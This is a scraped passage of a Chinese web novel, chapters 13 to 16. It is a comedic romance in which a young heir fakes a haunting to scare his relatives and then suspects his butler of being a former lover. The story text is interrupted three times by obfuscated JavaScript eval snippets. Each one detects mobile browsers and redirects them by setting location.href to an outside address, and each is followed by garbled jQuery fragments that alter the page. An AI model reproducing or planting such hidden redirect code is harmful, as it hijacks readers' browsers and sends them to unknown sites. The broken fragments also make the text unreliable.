“阿珩,等等我啊!”
宋莹春的惨叫在身后,祁珩到底还有些良心,回头去抓自己狼狈不堪的亲妈。
然后祁珩就听到前面的亲爹发出杀猪般的惨叫。
身着风衣的男人正安静站在梨树下注视着他们。
他是什么时候出现的?没有人知道。
祁志勇毫无征兆地对上那寒冰般狠厉的双眼,惊骇如滔天巨浪将所有理智淹没,他颤抖着抬起手,惊声喊道:
“沈、沈柏霆?!你是沈柏霆!”
沈柏霆这个名字一出,宋莹春再度尖叫。
闹鬼了,真的闹鬼了!
“我管你是什么妖魔鬼怪!”祁珩猛一咬牙,朝树下的男人冲去,可还没等他挥舞的拳头靠近,风衣就骤然一跨,软塌塌的落地。
压根就没有人在。
什么?!?!
祁珩呆立在原地,丧失了全部思考能力。
——如果没人,那他刚才看到的,是什么?
“快走!先走再说!”
祁志勇跌跌撞撞冲到车边,他拉开车门,从副驾驶爬进驾驶座,紧接着是连滚带爬地宋莹春。
祁珩最后上车,他刚钻进后排,甚至一条腿还在外面,祁志勇就猛踩油门,来不及关上的车门撞在什么东西上,发出砰的一声巨响,然后夹住了祁珩的腿。
祁珩:“啊啊啊啊啊啊——!”
他忍着剧痛拔出腿,艰难关门。
黑暗小区里只有远光灯照亮前方,祁志勇第一次来到华业东方,压根就不认路。
来的时候他循着整个小区里唯一的灯光,很顺利找到了祁闲的住处,可如今要走了,他却怎么也找不到出口究竟在哪儿。
祁志勇急得浑身是汗,对宋莹春大喊:“把导航打开!”
宋莹春手忙脚乱地找手机,刚抓起她的iphone15pro max暗夜紫,就看到鲜血缓缓从挡风玻璃顶部流下来。
“啊啊啊啊啊啊啊啊啊——!”
惨叫声在寂静的小区里此起彼伏,久久无法平静。
.
“哈,哈哈哈哈哈哈!”
祁闲坐在客厅中央,听着那一家三口的惨叫,抹掉脸上的血浆,笑得上气不接下气,几乎都要笑抽在地上。
闻洄舟走进客厅,按下门口的开关。
刺目血色立刻被明亮的暖光取代。
一只高跟鞋孤零零地躺在客厅中央,它的主人宋莹春已经无情地抛弃了它。
闻洄舟粗略扫了眼客厅里的满地狼藉,浑身是血的少年正捂着肚子仰面躺在地上,笑得满脸通红。
他眼中浮着层亮色水光,蓄得盈盈满满俏皮滚落,顺着眼尾狡黠的弧度,没入乌黑鬓角。
闻洄舟蹲下身,朝祁闲伸出手,轻声道:
“少爷您悠着点,小心岔气。”
“哈、哈哈哈……”
祁闲艰难地止住狂笑,他握住管家的手,却没起来,就这样平躺着,两眼亮晶晶,满是崇拜地望着闻洄舟:
“好厉害啊闻管家,你是怎么想到假装闹鬼,还扮成沈柏霆鬼魂的吓他们的?简直就是个天才!”
13.第 13 章
“是少爷您布置的祭台给我的灵感。”
闻洄舟回答,“沈总手段狠厉的威名在外,很容易让人心生畏惧,您最开始,不是也很怕沈总吗?”
祁闲心有余悸地点头:“嗯嗯。”
刚跟着沈柏霆来别墅的时候,他可害怕会被囚禁在小黑屋里成为沈柏霆的玩具被凌虐呢。
等等。
当时在场的只有他、沈柏霆和陈放,管家又是怎么知道的啊?
一片狼藉的客厅中央,祁闲满身是血地坐在纸钱里,陷入沉思,他脑袋还没从整蛊祁家人的欢乐中缓过劲来,又要思考这个严肃的问题,有点转不过弯。
“那个……你怎么知道我害怕沈柏霆的?”
闻洄舟:“陈特助告诉我的。”
原来是陈放啊。
可恶,他当时表现得有那么明显吗!竟然都被看出来了。
祁闲脸上有点烧,他抓起身边的一张纸钱,往自己脑门上一按,又薄又软的纸钱被鲜血浸透粘住,勉强遮住表情。
他看向祭台上的遗相,两行血泪还挂在沈柏霆眼底。
祁闲有点莫名的心虚,他赶紧手脚并用地爬起来,来到祭台前,把红墨水擦干净。
保镖们纷纷从遮挡物后现身。
祁家人做梦也想不到,刚才他们怎么喊都喊不出来人的别墅里,其实藏着那么多双暗中注视着的眼睛。
闹鬼是当然不可能闹鬼的。
只不过略施手段,利用祁家人的做贼心虚,就能暂时解决许多麻烦。
挂断祁志勇的电话,祁闲立刻拜托闻洄舟帮他出谋划策。
他对管家详细表述了自己的诉求——短时间内,别让祁家人再来烦他。
闻洄舟很快给出方案,他紧急联系店里购买各种材料,除了纸钱猪血红色灯泡这些用来营造氛围的道具,还搞来了密室逃脱里的假人。
祁家三人被遗像吸引注意时,藏在二楼的保镖把穿着祁闲衣服,身上绑着血袋的假人推下去,再用智能家居系统控制关灯。
血袋被假人压破,新鲜的猪血四处飚溅,此起彼伏的尖叫声中,躲在祭台桌下的保镖趁着这几秒钟的黑暗,把假人拉到桌子下面藏起来,换成祁闲真身出现在假人落地处。
等开了灯,祁闲放飞自我嗷嗷叫着阴暗爬行,一亮相就把所有人吓破了胆。
之后祁家人慌忙朝外逃窜,殊不知惊喜就等在庭院里。
祁闲去沈柏霆的卧室,找了一身他的风衣,闻洄舟用细铁丝挂在树上,再配合干冰的萦绕雾气,很像是突然冒出来的人影。
祁志勇祁珩他们太惊恐,肯定顾不得看仔细,就被闻洄舟骗过了,还以为真的是沈柏霆的鬼魂出现。
“祁少,可以啊。”保镖们都满脸兴奋,“这还不得吓得他们好几天缓不过进来?”
整人这种事儿,谁不爱干啊。更别说祁家人的反应太精彩,满足度拉满了。
“多亏有你们帮忙,简直爽死了!”
祁闲回想起来,还是忍不住笑,飙升的肾上腺素让他忘记疲惫,眼眸亮亮的,问闻洄舟:“家里监控从哪儿看?我想再回味一下。”
闻洄舟却道:“少爷,时间不早了,您早上还在发烧,又累了一天,最好先去休息。”
倒也是。
祁闲被说服了:“那我去歇歇。”
他晃晃悠悠地朝楼上走,不忘对闻洄舟道:“以后得在家里安个电梯,升降台也行,真不想爬楼了。”
闻洄舟:“是。”
祁闲走了几阶,突然又停住脚步。
闻洄舟该不会……是故意不想让他看监控吧?
祁闲回头看向闻洄舟,管家笔挺地站在原处,正微微仰头望着他。
不知怎么,明明是和这样一双平静的眼睛对视,祁闲却隐隐感觉到几分压力。
祁闲转过身,向下走回一阶,正好比闻洄舟高出半个头。他居高临下地靠着楼梯扶手,状似不经意地随口问道:
“闻管家,你知道骗我会有什么下场吗?”
闻洄舟摇头。
祁闲双手五指张开,做凶狠装,呲牙道:“会把你赶出去喝西北风,并且很多人都会知道你是个骗子,再也不敢聘用你当管家!所以,千万不要骗我哦。”
放下狠话,祁闲心满意足地回头,上楼了。
他边走变掏出来手机,兴奋和白遥分享今晚的整蛊。
白遥:【可以啊!要是提前录下来就好了,我也欣赏一下他们凄惨的样子。】
祁闲随手从卧室衣柜里抽出一件干净白T,往浴室里走。
他已经探索过了豪宅所有的房间,很喜欢二楼浴室的超级大的浴缸,正好浑身都是血腥味儿,好好泡个澡,放松一下。
打字不方便,祁闲就发语音条,他走进浴室,把手机放在盥洗台上。
祁闲:【明天我找找看有没有监控。对了,这几天我忙着处理遗产,你没事儿帮我上柱香,或者点个蜡烛摆个水晶什么的祈祷一下呗,现在好多人盯着我呢,我可不想那么早就英年早逝去陪沈柏霆。】
白遥:【好冷血好无情!人家好歹也是你老公呢!你刚才还用人家吓跑了祁珩他们,现在翻脸就嫌弃人家。】
祁闲乐得直笑,发了条语音过去:“老公当然还是挂在墙上的好。”
他把手机锁屏放在台子上,开始脱衣服。
沾了血的衬衣被扔到盥洗池里,肯定不能要了。
祁闲解开腰带,脱裤子时,身后突然传来声音。
“祁少。”
祁闲浑身一震,当即惊恐地扭头。
闻洄舟不知何时竟出现在浴室里,正站在他身后。祁闲仍然没法从闻洄舟模糊的脸上看出来表情,但是他知道自己双手拎着裤子下意识找地方躲的模样肯定好看不到哪儿去。
“你、你什么时候进来的?!”
祁闲一手拎着裤子,一手捂着胸口
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14253439|151531||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
重点部位,随后他想起来自己和管家都是男的,想把手放下,又觉得特奇怪,只能别扭地保持原样。
“我一直都在,觉得您睡前要洗澡,就给您提前放个水。”闻洄舟顿了下,又道,“这是管家的职责。”
祁闲:“…………”
彳亍口巴。
应该是他沉迷聊天,没注意到闻洄舟。
闻洄舟肯定也听到他刚才地“老公当然还是挂在墙上的好”了。
向朋友口嗨和在陌生人面前口嗨完全不是一个概念,祁闲脸上一热,他强忍羞耻绷紧表情,拿出做主人的气势,憋出个“嗯”。
要赶紧习惯啊祁闲!这不是你一直都盼望着的富贵日子吗!
每天做什么都有人伺候着,多爽啊!
祁闲拎着裤子,默默走到了帘子后,才脱掉。
浴缸里果然放好了水,祁闲试了试温度,对他而言刚刚好。
他刚一脚踩到浴缸里,就听到帘子外面闻洄舟说:“换下来的衣服我帮您处理掉。”
“好。”祁闲应了一声,过了两秒才突然反应过来:“等等!”
抹成花猫似的脑袋从帘子缝隙里冒出,眼中满是紧张。
祁闲一把抢过闻洄舟手里的衣服,除了他刚换下来沾了血的,还有另外一件衬衣。
祁闲迅速把他的那件挑出来,重新塞给闻洄舟:
“带血的你扔了吧。”
“那这件……”闻洄舟看着祁闲手里的衬衣。
祁闲尬笑:“这件暂时还不用洗。”
正当祁闲准备缩回帘子后面时,闻洄舟皱眉问道:
“少爷,那是您的衣服吗?怎么感觉尺码不对?”
祁闲僵了半秒钟。
尺码当然不对,因为这是宁海尘的衬衣。
祁闲清了清喉咙,装模作样道:“早上墓园我不是被打了吗,这是在灵堂临时换的衣服,陈放没来得及找合适的尺码。”
“既然不合适,那我也帮您处理掉吧。”闻洄舟说着,再度伸手抓住了衬衣。
“真不用,虽然大了点,但我穿着挺舒服的——”祁闲边说边拔,使劲把衣服往手里拽。
“好吧。”闻洄舟松了力道。
祁闲没想到对方会突然撒手,他用力拽着衬衣想赶紧抢来罪证,脚丫子还踩在浴缸里,身体猛地向后一仰,脚底打滑,当即失去平衡。
“啊——”
“祁闲!”
闻洄舟第一时间伸手去捞,但已经晚了。
哗啦一声巨响,祁闲一屁股坐进了浴缸里,水花四溅,飚在天花板,墙壁和帘子上,也飚在闻洄舟考究的管家服上。
祁闲顾不得自己发痛的屁股,顾不得手里宁海尘的衣服,甚至顾不得自己□□。
他眼睛瞪的滚圆,一把抓住闻洄舟,猛然把他扯向自己。闻洄舟两只手撑住浴缸边沿,才没有整个人栽进去。
“你刚才,叫我什么?”
14.第 14 章
“祁少。”闻洄舟回答着,伸手捞祁闲,“您没事吧。”
“不是这个!”祁闲把他衣领揪得更紧,盯着那双似乎永远平静的眼睛,试图从中揪出一闪而过的慌张,凶巴巴质问,“刚才你叫我什么?”
闻洄舟不说话。
他盯着祁闲的脸,和少年对视。
在甚至能听清彼此呼吸声的寂静中,闻洄舟垂下眼。
少年溅上水珠的鼻梁,微抿成一条线的唇,因仰头分外明显的喉结,还有蓄在锁骨窝里的那一汪清水。
一览无余。
让人恼怒的沉默里,祁闲不悦皱眉,跟随闻洄舟低头——
祁闲:“…………”
所有怀疑和警惕在这一瞬间烟消云散,变成了惊吓和慌张。祁闲活像只被踩了尾巴的猫,他一把推开闻洄舟,赶紧用宁海尘的衬衣遮住。
“您没伤着吧。”闻洄舟后退两步稳住身形,“如果有哪里不舒服——”
祁闲指门,双颊爆红,舌头都打结了:“出出出出去!”
闻洄舟麻利地走了。
祁闲感觉自己像是被煮了,本就偏高的体温更上一层,就连温度合适的洗澡水都变得有点凉。
一时间都不知道究竟是洗个澡莫名其妙被闻洄舟看光离谱,还是他用了宁海尘的衬衣遮重点部位更离谱。
这、这都叫什么事儿啊!
祁闲把湿透了的衬衣捞出来,搭在浴缸边沿。
他捧起一把水,用力搓了搓脸。
重新冷静下来,祁闲后知后觉地意识到,刚才好像被闻洄舟躲过去了。
他明明听到有人喊了他一声祁闲。
……是听到了吧?
真的听到了吗?
被意外一掺和,祁闲又有点拿不准了。
事已至此,先泡澡吧。
他把宁海尘的衣服捞出来拧干了放到旁边,身体慢慢放松下来,整整一天里被理智强行压制住的疲惫从骨头缝里涌出,一下子将他吞没。
换了三次水,泡到手指都发了,才感觉舒服些。
少年裹着浴巾,随手擦了几下头发,迷迷糊糊地回到卧室,往床上一歪。
很想就这样立刻睡死过去。
但是,又有点渴。
祁闲灵光一现,扬声喊道:“闻管家——”
他懒洋洋地拖着长音,尾调里,闻洄舟的身影出现在门口。
来这么快,就在附近等着呢吧?
祁闲:“喝了。”
闻洄舟:“稍等。”
闻洄舟出去倒水,很快回来,他停在床边,将玻璃杯递给祁闲,七分满。
祁闲接过来尝了一口,他是典型的猫舌头,喝不了热的吃不了辣的,闻洄舟到得这杯水,对他而言刚刚好。
“少爷,记得吃药。”闻洄舟将药片放在桌上,“退烧药和活血化瘀的,您把头发擦干再睡,不然会头痛。”
祁闲没吭声,他把药吞下去,才道:“我胳膊疼。”
言外之意很明显。
闻洄舟拿过毛巾:“冒犯了。”
毛巾盖在头发上,力道合适地擦拭着水珠,祁闲的手空出来,正好方便他玩手机,他手指滑动着屏幕,注意力却完全不在手机上。
柔软的毛巾擦过耳后和耳窝,有水逃窜般从发梢滴落,顺着脖颈和肩膀的线条,润过还未消退的暧昧痕迹,悄然滚入浴袍领口。
人的视线很容易不由自主地追随移动之物。
就在这时,祁闲冷不丁地抬头:“你刚才是不是喊了我名字?”
闻洄舟的目光没来得及收回,被祁闲抓了个正着,一瞬间少年眼中闪过羞赧和诧异,他立刻拽着浴袍,把领口捏紧。
感受到闻洄舟的手僵住,祁闲心中得意,上当了吧!被他抓住破绽了吧!
是偷看主人更严重,还是不小心喊了主人的名字更严重?
答案显而易见。
“直呼少爷姓名是我的失职。”
闻洄舟终于回答了实话,他放下手后退一步,眼眸也垂下,遮住其中神色:“您要怎么责罚我?”
“衣服脱了。”祁闲言简意赅。
闻洄舟猛地抬头看他,四目相对,倒是能从那素来沉稳的眸中捕捉到几分别样情绪。
祁闲赤着的脚抬起,蹬在闻洄舟西裤上,尾调拖长:
“快点,别耽误我时间。”
祁闲可不是突然发疯。
虽然闻洄舟现在看他的眼神,像是他疯了。
他反应确实有些迟钝,但也不是真的傻子。
无论是他睡着沙发却试图把他打横抱上楼,还是浴室里的种种意外,亦或是刚才端水送药擦头发,闻洄舟对他的态度,都不是一个正常管家应有的。
那么问题来了。
闻洄舟为什么要这样对他?
他又不是什么浑身散发着信息素时刻能够勾引到同性的天选魅魔,哪儿来那么多对他有奇怪想法的男人?
他唯一能想到的,就只有宁海尘,他们俩到底是有过亲密经历的。
闻洄舟非得挑出来他藏在脏衣篓里的宁海尘的衬衣,还要和他拉扯,以完全不是管家应有的态度追问到底,拉扯到最后还松手哐他一下害得他摔了个屁股蹲……哼,这不摆明了故技重施,想要约拍那样再一块掉进浴缸里嘛!
祁闲非常有理由怀疑,闻洄舟就是宁海尘。
这屌人假扮成管家,潜伏在他家里,瞅准机会就故意调戏他!
祁闲认不出脸,那么,就借助身体去辨认。
那天晚上除了宁海尘在他身上制造痕迹之外,他也在失控中给宁海尘留下了一些纪念。
短短三四天,应该不至于全都愈合,被猫抓了还得过上一两周才能全好呢。
闻洄舟站着不动。
“快点,脱。”闻洄
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14262083|151531||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
舟越迟疑,祁闲就越有种即将揭开真相的兴奋,他的脚踩着闻洄舟小腿向上,压他的膝盖,狡黠地弯起眼,“难不成想让我亲自动手?”
闻洄舟浑身绷得很紧,祁闲歪着头盯着他看了几秒钟,开始倒数:“三。”
“我脱。”
闻洄舟还是妥协了。
除此之外,他别无选择。
他摘掉白色手套,骨节分明的手指解开管家服外衣扣子,外衣被考究地搭在椅背上,白衬衣下规整摆束在裤腰里,祁闲忍不住朝下在闻洄舟的大腿处瞟了一眼,想确认这身装扮有没有专业到穿衬衫夹。
闻洄舟暂且停下,和祁闲对视,用目光询问这位少爷是否满意。
结果当然是否定的。
“再脱。”
闻洄舟再度抬手,从衬衣最上面的扣子开始解起。
祁闲视线跟随,无可避免地看向闻洄舟劲挺的脖颈,不得不说,一个男人帅还是不帅,从肩颈就能窥得一二。
扣子一颗颗解开,锁骨和胸膛也显露出来,见闻洄舟第一面时,祁闲就知道这人身材很好,能把管家服穿出那种特别的制服味道。
闻洄舟扣子解的越多,祁闲也越发兴奋,真相即将在他面前揭开。
明明刚吃过退烧药,却觉得身体温度正在上升。他按在床单上的指尖收紧,按捺住想要帮闻洄舟一把,让他快点的冲动。
终于,最后一颗扣子解开,闻洄舟再度看了眼祁闲,深吸口气,脱掉了全部上衣,一览无余地展露在他眼前。
这肌肉线条,这腹肌的形状……祁闲咬了下唇,如果说他原本只是出于猜测,有那么点怀疑,那现在他已经有至少六成把握了。
“可以了吗?”闻洄舟问。
祁闲:“转过身去。”
闻洄舟显而易见地僵了下。
“怎么,是害怕被我看出来什么吗?”答案几乎要呼之欲出,祁闲开始思考要怎么处置这个冒充管家混进他家里来的混蛋。
“不是。”
在祁闲的灼灼目光中,闻洄舟终于下定决心般,转过身去。
祁闲跃跃欲试地磨着后槽牙。
宁海尘啊宁海尘,谁叫你故意搞事情!现在落到我手里了吧?就算你再怎么藏,我也一样能抓住你狐狸尾巴——
等等。
怎么没有?
什么都没有!?
祁闲难以置信地瞪大双眼,他立刻蹦下床,直接摸在闻洄舟的后背上。少年指尖和掌心触碰到皮肤的瞬间,闻洄舟呼吸停了一瞬。
别说他抓出来的伤痕了,这后背手感好的,连颗痘都找不到啊!
……怎么回事?
也就是说,闻洄舟,不是宁海尘?
祁闲僵硬地抬头,和扭头看他的闻洄舟对视两秒。
“少爷。”闻洄舟嗓音很轻,却如同一记重锤,砸在祁闲心坎上,“还需要再脱吗?”
15.第 15 章
“不不不不用了!”
祁闲火速抓过椅背上的衣服,手忙脚乱地给闻洄舟披上:“不好意思我想错了不是故意逼你脱衣服的我真没什么特殊癖好如果吓到你了真的非常抱歉!”
祁闲把闻洄舟的衣物全都塞进他怀里,推搡着管家肩背,一路把他推到卧室门外:“非常感谢你照顾我时间不早了我去休息你也早点休息晚安明天见!”
祁闲说着关上房门。
世界安静了。
他背靠在门上,冷静了两秒。
冷静什么啊!!!
祁闲扑到床上,打了个滚薅起枕头捂在脸上,土拨鼠似的无声尖叫。
回想刚才他逼迫闻洄舟脱衣服的样子,简直像个变态……不,简直就是变态!
仔细想想,确实有更多证据能够证明他俩不是一个人。
最石锤的就是他都给白遥看过这两个人的照片,如果长得一样,白瑶肯定会发现。
而且在宁海尘面前他说自己叫做祁珩,刚才在浴室里管家的那一声却喊了他真名。
再说了,就算宁海尘想混进来当管家,也没这个机会和本事吧?
理清楚这些,祁闲再度懊恼,他也太冲动了吧!
都怪闻洄舟,干嘛非得和他在浴室里抢衣服,害得他疑心大起,不然怎么会闹出来后续这一连串的破事!
祁闲忿忿地锤了几下床,又躺了片刻,发烫的脸终于降温了。
他拿起手机,给陈放打电话。
陈放很快接通,声音里仍能听出疲惫:“祁少,有什么事儿吗?”
“就是……”祁闲有点难以开口,最后还是猛一咬牙,说了,“能不能给我换一个管家?”
陈放意外:“啊?”
电话那头的助理愣了两秒钟,才试探着问道:“能问一下您想换掉他的原因吗?”
祁闲:“就是觉得不太合适。”
陈放:“哪方面不太合适?”
祁闲总不可能和陈放说是因为前脚闻洄舟把他看光了后脚他就强迫闻洄舟脱衣服,他现在没脸见闻洄舟。
于是他随便找了个理由:“我找大师算了一卦,和他八字不合。”
陈放:“………………”
这是一个中国人没办法拒绝的理由。
陈放:“我知道了。但是祁少,管家是沈总生前专门精挑细选出来的,是沈总信得过的人,如果现在更换,很容易被别有用心之人渗透。”
这倒是。
沈家和祁家现在都视他为眼中钉,肯定想千方百计往他身边插人,更别说还有很多其他想要浑水摸鱼的存在。
祁闲理智上已经接受了,但感情上,他还试图挣扎一下。
“那他和我八字不合……”
陈放:“明天我去找个大师,看看能不能想点办法,做个法什么的,尽量解决问题。”
祁闲:“……好吧,辛苦你了。对了,你腿怎么样,好些了吗?”
陈放:“本来也伤得不算重,已经好很多了,谢谢祁少关心。”
祁闲:“我没别的事儿了,大晚上的打扰你了,早点休息。”
挂断电话,祁闲叹了口气,焦虑得开始啃手指头。
陈放不会真请个大师过来吧,那岂不是一算就露馅了?
既然没办法让闻洄舟走,之后和他相处,就得注意点。
……不过那后背的手感,确实挺不错的。
意识到自己在想什么,祁闲赶紧翻了个身,用被子把自己裹紧。
睡觉睡觉!累了一天了,赶紧休息,其他的以后再说!
不知是不是大脑接收到了太多信息,祁闲竟然还做了梦。
他梦见自己正在被追杀,老式家属区里他跑进地下室,躲进顶楼的房间,冲进小区后的树林……可无论跑到哪里,那道穿着黑色长风衣的身影都能把他找到。
祁闲奋力地跑啊跑,不知跑了多久,他逃到海边,铅灰色的浓云下波浪翻涌,卷起惨白的泡沫拍在沙滩上,梦里明明没有触感,他却觉得海水冷的刺骨。
祁闲爬上缓慢转动的摩天轮,勉强在窄小的舱室里有片刻喘息,可被追杀的恐惧仍充斥心头,他不敢回头去看,因为那道身影一定在不远处如影随形。
这是梦。
祁闲清楚知道,这一定是梦。
他唯一能做的,就是想办法让自己醒来。
他在半空中打开摩天轮的舱门,跳了下去。
逃
离
着
坠
落
海面混沌,等待着吞噬一切。
扑通。
他坠入海面,却没有像往常许多次那样顺利醒来,而是被吞了进去。
祁闲拼命挣扎,可头顶的海面却离他越来越远,他只能一寸寸下沉,沉入永无止境,刺骨寒冷的黑暗。所有的挣扎,所有的叫喊,都无人发觉。
……救命。
救命!
祁闲挥舞着双臂,窒息带来的强烈的濒死感,他大声叫喊,却无法让声带震动,只能吞进更多海水。
再一次被推向死亡的悬崖。
“祁闲!”
涣散之中,有人在大声喊他的名字。
祁闲拼尽全力才从鼻腔中挤出来一声哼哼,挣扎着从梦魇中醒来。
心跳很快,呼吸更是急促,碎发被汗水打湿,黏在额头。
闻洄舟正蹲在他床边,轻声问道:“您还好吗?”
祁闲勉强点头,随着意识逐渐清醒,惊惧感正在慢慢消退,闻洄舟喊他喊得太及时。
见祁闲重新平静,闻洄舟垂了下眼,似乎暗松口气。
他站起身,拿过干净的衬衣:“少爷您要现在起床吗?已经准备好早餐了。”
祁闲当然还没习惯衣食住行都被照顾的日子,而且……他又想起了昨晚的尴尬,好在闻洄舟相当平静,也让他镇定许多。
他窝在被子里,对闻洄舟道:“我自己来就行,你先出去吧。”
闻洄舟:“好的少爷。”
闻洄舟离开,祁闲又躺着缓了会儿。很好,既然如此,就当昨天什么也没发生吧!
祁闲慢吞吞地穿衣服起床下楼,餐桌上已经摆好了早餐。刚出锅的蟹粉小笼包晶莹剔透,连夜坐飞机前来餐桌的牛肉薄如蝉翼烤成五分熟的卷,裹上鱼子
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14268350|151531||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
酱再添几分风味,椰汁鲜炖燕窝粥清甜爽口……香得祁闲眼泪从嘴角流下。
他之前在祁家,过得都是什么苦日子啊!
祁闲挨个品尝面前的十几样早餐,放在旁边的手机弹出消息框。
白遥:【海哥的那套片子后期做完了。】
祁闲差点被噎死:【这么快,你肝帝啊!】
白遥:【打算出门玩几天,就赶紧先把活干完了……困死我,睡觉去了。】
祁闲和白遥一起开的工作室,他是摄影师,白遥负责后期,搭伙干活,效率奇高。
好吧……那就得把成片发给宁海尘了。虽然不太想和这人再有瓜葛,祁闲还是点开了聊天框,把白遥给他的文件包转过去。
祁闲:【成片出了,您看下有没有哪里需要调整的。】
按下发送键,祁闲却突然听到闻洄舟身上发出一声手机振动的声响。
祁闲:?
他没听错吧,刚给宁海尘发出去消息,闻洄舟手机就响了?
是巧合?
可世界上会有这么巧的事吗?
一些不太美妙的回忆浮上心头,这次他可不能冲动,必须用足够石锤的方式去验证。
祁闲不动声色地瞅了闻洄舟一眼。
他把手机调成静音,点击输入框旁边的小加号,选择“视频电话”。
微信视频向宁海尘拨去的同时,祁闲以迅雷不及掩耳之势,伸向闻洄舟的裤子口袋!
闻洄舟站得离他挺近,祁闲的右手顺利地划入左侧西裤口袋,少年心中冷笑,直捣裤兜深处,要抓住其中藏着的秘密。
拿来吧你!
他也确实抓到了……某个东西。
热的,软的,不对,在变硬。
祁闲僵住了。
他被强烈冲击的脑子里只剩下一个孤零零的感叹词。
……哇。
这情况实在太过震撼,以至于祁闲都忘了撒手。
直到听见头顶闻洄舟的闷哼,祁闲才想起来自己本来是打算干啥的。
手机,对了,他要找闻洄舟的手机。
祁闲松手,硬着头皮继续在裤兜里摸,隔着西裤口袋薄薄一层布料,能清楚感觉到闻洄舟大腿的温度。
摸着很紧绷。
别误会,他说的不是闻洄舟的腿,他是说,就是这个大腿啊,手感挺好。不对,他真正想说的是,好硬,好硬的肌肉。
“少爷,您在找这个吗?”闻洄舟话音都带了几分忍耐的咬牙切齿,他从管家服外套的内兜里掏出手机,递给祁闲,“给。”
祁闲:“……”
原来你手机在上衣内兜里啊。
祁闲终于放过了闻洄舟的裤兜,他烧着一张紧绷的脸,接过手机。
几秒钟后,祁闲问道:“你是不是觉得我是变态?”
闻洄舟不答。
但从他的表情中,祁闲能读出来清晰的答案。
经过昨晚一役,祁闲的脸皮厚实了不少。
他垂眸摆弄闻洄舟的手机,躲过管家的视线,嘟囔道:“主要我也不知道你习惯放在左边啊……好好好,是我的错,下次不摸了。”
16.第 16 章
闻洄舟:“……没关系少爷,是我不好。”
管家嗓音些微沙哑,带着显而易见的隐忍。
祁闲表面上装作若无其事,实则从脖子红到了耳朵尖,甚至能听到自己心脏在胸腔中咚咚直跳。
他手都有些发抖。
冷静、冷静啊祁闲!你现在可是主人,都是逼闻洄舟脱过衣服的了,再隔着裤子摸他一下又怎么了!
祁闲强迫自己专注手机上的内容,余光却不由自主瞥到闻洄舟刚才被他抓住的地方。
……好像更大了。
祁闲呼吸一滞,赶紧闭眼,强制调整好索敌方向,才重新睁开。
闻洄舟把手机递给他时已经指纹解锁了,他打开微信,很干净消息界面。
并没有一个名叫“半日闲”的账号发来语音通话申请。
所以,他到底在干什么啊!
祁闲木然地挂断向宁海尘的语音通话,讪讪将手机还给闻洄舟。
闻洄舟:“看完了?”
祁闲老实回答:“看完了。”
目光又不受控制地飘到某处,又赶紧摆正,愧疚感涌上心头,闻洄舟肯定忍得很辛苦,涨的很疼吧?
要道歉吗?会不会让局面变得更尴尬?
祁闲端起椰汁燕窝粥掩饰表情,满脸纠结的琢磨解决办法,最终脑海中灵光一现,决定用罪恶的金钱修补和管家之间的裂痕。
“很好吃,回头我让陈放给你发奖金。”
他说着站起身,自顾自往楼上走,突然又觉得这话有几分歧义,赶忙停下脚步,补充道:“当然,我指的是饭。”
可恶,怎么感觉好像越描越黑了?
少年咬了下唇,蹬蹬蹬地大步跑上楼梯,关上房门,扑到在床上。
祁闲捧着手机,却又不由自主回想起掌心握住其它东西的感触,隔着布料,也难以忽视的热度。
顶级身材,雄厚资本,脸肯定也不差,闻洄舟要是愿意下海挂牌早就成千万富翁了,还用得着在这儿累死累活的给他当管家?
……等等,你在想什么啊!快打住!
视频通话的响铃声如及时雨,把祁闲从限制级的脑补中解救出来。
是宁海尘。
祁闲接通,电话对面的男人嗓音含着笑:
“怎么了闲老师,突然一声不吭地打给我。”
祁闲:“成图出了,你记得查收。”
宁海尘:“就这些?”
祁闲爬起来,猫着腰来到走廊,探头朝楼下客厅看:“不然呢?”
宁海尘遗憾:“我还以为你有更重要的事儿想和我说呢。”
餐桌已经收拾干净了,闻洄舟不在客厅。
“你想多了。”祁闲跑下楼梯,继续满屋子寻找闻洄舟的踪迹,人呢?他人呢?
找不到闻洄舟,祁闲尽可能拖延时间:“当时怎么没接?”
“我在工作,手机开的静音。”宁海尘顿了顿,似是呼吸有些粗重,几秒种后,他语气恢复了惯常的调笑,“声音真好听,这么关心我,是在查岗吗?”
祁闲:“呸!”
他忍无可忍,挂断了电话。
祁闲恼怒地磨牙,又被宁海尘调戏了,这叫什么事儿啊!
倒是闻洄舟,究竟去哪儿了?
祁闲正皱眉怀疑着,不远处卫生间的门被推开,管家走了出来。
白手套从口袋里露出,显然闻洄舟刚洗完手,至于他洗手之前都做了什么……从已经重新熨帖的西裤就能看得出。
祁闲脑子有一瞬空白。
闻洄舟应该不至于一边“那个”,一边装作宁海尘和他通话吧?
他想象了一下那个画面。
祁闲:“……”
